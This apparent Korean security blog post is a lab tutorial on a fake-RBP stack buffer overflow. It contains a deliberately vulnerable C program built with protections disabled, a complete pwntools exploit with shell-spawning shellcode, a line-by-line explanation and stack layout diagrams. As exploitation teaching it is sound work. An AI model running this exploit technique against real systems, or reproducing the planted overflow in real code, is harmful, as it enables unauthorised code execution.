시스템 해킹 실습 -10 . Buffer OverFlow (버퍼 오버플로우) FAKE RBP [4]
2024. 7. 23. 17:55ㆍInformation Security 정보보안/Vulnerability Analysis 취약점 분석
728x90
배울내용:
버퍼 오버플로우 취약점
시스템 해킹
Buffer OverFlow
버퍼오버플로우 실습
메모리 취약점
Fake RBP
SFP 역할
leave 를이용한 BOF
이번 문제를 풀고 이해하려면 몇가지 레지스터를 확실하게 알고 넘어가야한다
명령어 및 레지스터 상태
- LEAVE 명령어:
- MOV RSP, RBP : RSP를 RBP의 값으로 설정.
- POP RBP : RSP의 값을 RBP로 복사하고, RSP를 8 증가.
- RSP와 RBP의 변화
- RSP, RBP는 함수 호출 및 반환 시 각각의 값을 설정 및 변경하며, 공격자가 이를 조작해 원하는 주소로 변경 가능.
힙(Heap)과 스택(Stack)의 차이점
- 힙(Heap)
- 런타임에 크기 결정.
- 동적 할당 (예: malloc).
- 함수의 종속성 없음.
- 할당 및 해제 필요 (malloc 및 free).
- 스택(Stack)
- 컴파일 타임에 크기 결정.
- 함수의 지역 변수가 저장.
- 고정된 크기.
SFP의 역할과 공격 시나리오
- SFP(Stack Frame Pointer)의 역할: SFP는 스택 프레임의 시작을 나타내며, 함수의 호출과 복귀 시 스택을 관리하는 데 사용된다.
- FAKE EBP 공격 기법:
- 취약점을 이용해 SFP 값을 조작하여, 부모 함수로 복귀할 때 원하는 주소로 RBP를 변경할 수 있다.
- 예를 들어, 0x41414141로 변조된 SFP를 사용하면 함수 종료 후의 RBP가 원하는 주소로 설정된다.
코드작성
/*
gcc -O0 -fno-stack-protector -no-pie -z execstack advanced_bof.c -o advanced_bof
*/
#include <stdio.h>
#include <unistd.h>
void init(){
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void vuln(){
char buf[512] = {};
printf("buf @ %p\n", buf);
printf("buf > ");
read(0, buf, 520);
printf("Your Data : %s\n", buf);
}
void main(){
int makeSFP = 0;
init();
vuln();
}
파이썬 페이로드 코드작성
from pwn import *
p = process("./advanced_bof")
shellcode =b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
p.recvuntil(b" @ ")
buf_addr = int(p.recvline().strip(), 0x10)
log.info(f"buf addr @ {buf_addr:#x}")
gdb.attach(p)
payload=b""
payload += b"A" * 0x8 #main SFP
payload += p64(buf_addr +0x10) #mainRET
payload+=b"\x90" * 0x20
payload+=shellcode
payload = payload.ljust(0x200,b"\x90")
payload+=p64(buf_addr) #vuln SFP
p.send(payload)
p.interactive()
이걸한줄한줄 설명한걸 넣어보면 아래와 같다
from pwn import *
# `advanced_bof` 실행 파일을 실행하여 프로세스를 시작
p = process("./advanced_bof")
# 리눅스 x86-64 시스템에서 쉘을 실행하는 셸코드
shellcode = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
# 'buf @ ' 문자열이 출력될 때까지 읽기
p.recvuntil(b" @ ")
# 버퍼 주소를 읽어와서 16진수 정수로 변환
buf_addr = int(p.recvline().strip(), 0x10)
log.info(f"buf addr @ {buf_addr:#x}")
# GDB를 사용하여 프로세스에 부착 (디버깅)
gdb.attach(p)
# 공격 페이로드를 저장할 빈 바이트 문자열 생성
payload = b""
# 메인 함수의 스택 프레임 포인터(SFP)를 덮어쓰기에 필요한 'A'로 채운 바이트 추가
payload += b"A" * 0x8 # 메인 SFP (8바이트)
# 메인 함수의 반환 주소를 덮어쓰는 값으로, `buf_addr + 0x10`을 추가
payload += p64(buf_addr + 0x10) # 메인 RET (리턴 주소)
# NOP 슬라이드 추가 (0x20 바이트) - 셸코드로의 접근을 용이하게 함
payload += b"\x90" * 0x20
# 셸코드를 페이로드에 추가
payload += shellcode
# 페이로드의 길이를 0x200 (512바이트)로 맞추기 위해 NOP으로 채움
payload = payload.ljust(0x200, b"\x90")
# `vuln()` 함수의 스택 프레임 포인터(SFP)를 덮어쓰는 값으로, 버퍼 주소를 추가
payload += p64(buf_addr) # vuln SFP
# 생성된 페이로드를 프로세스에 전송
p.send(payload)
# 공격 후, 프로세스의 I/O를 상호작용 모드로 전환 (쉘 제어)
p.interactive()
위에 페이로드가 만들어지는거를 따로보면 아래와 같은데
payload = b""
payload += b"A" * 0x8 # main SFP
payload += p64(buf_addr + 0x10) # main RET
payload += b"\x90" * 0x20 # NOP 슬라이드
payload += shellcode # 쉘코드
payload = payload.ljust(0x200, b"\x90") # 페이로드를 512바이트로 맞춤
payload += p64(buf_addr) # vuln SFP
이부분만 따로보면 스택의 구조를 생각하면된다
| ... | <- Higher Address (상위 주소)
| ... |
| Return Address | <- 메인 함수의 RETURN 주소
| Saved Frame Pointer | <- 메인 함수의 SFP (스택 프레임 포인터)
| Local Variables |
| Buffer (buf) | <- 512 bytes buffer
| ... | <- Lower Address (하위 주소)
그러면 어떻게 들어갈지가 보이고 위에값을 실제로 넣으면
|-------------------------------------------| <- Higher Address
| ... |
|-------------------------------------------|
| [ Overflow Area ] | <- 메인 함수의 스택 프레임 포인터(SFP)
| "AAAAAAAA" (8 bytes) | <- 메인 SFP (덮어쓰기)
| [ Return Address ] (buf_addr + 0x10) | <- 메인 함수의 RETURN 주소 (덮어쓰기)
|-------------------------------------------|
| [ NOP Slide ] | <- NOP 슬라이드 (32 bytes)
| 0x90 0x90 0x90 ... |
|-------------------------------------------|
| [ Shellcode ] | <- 쉘코드
|-------------------------------------------|
| [ Padding to 512 bytes ] | <- 페이로드의 총 길이를 512바이트로 맞추기 위해 NOP으로 채움
| 0x90 0x90 0x90 ... |
|-------------------------------------------|
| [ vuln SFP ] | <- `vuln()` 함수의 스택 프레임 포인터(SFP)
| buf_addr (덮어쓰기) |
|-------------------------------------------| <- Lower Address
위와같이 보이게 된다
이 그림과 설명을 통해 페이로드가 메모리에서 어떻게 배치되고, 스택을 어떻게 조작하는지 이해할 수 있다.
그렇게 코드 쓴거를 명령어를 아래와 같이 실행하면
위와같이 명령어 입력창이 $ 로 바뀐걸 볼수있다
이떄 명령어를 입력해보면 아래와 같이 실행이 되는걸 볼수있다.
728x90
'Information Security 정보보안 > Vulnerability Analysis 취약점 분석' 카테고리의 다른 글
시스템 해킹 실습 -12 . Race Condition (레이스 컨디션 취약점) (4) | 2024.07.24 |
---|---|
시스템 해킹 실습 -11 . Use After Free (해제 후 사용 취약점) (4) | 2024.07.24 |
시스템 해킹 실습 -9 . Buffer OverFlow (버퍼 오버플로우) [3] (2) | 2024.07.23 |
시스템 해킹 실습 -8 . Buffer OverFlow (버퍼 오버플로우) [2] (0) | 2024.07.21 |
시스템 해킹 실습 -7 . Format String Attack 포맷스트링 공격 [ 2 ] (7) | 2024.07.20 |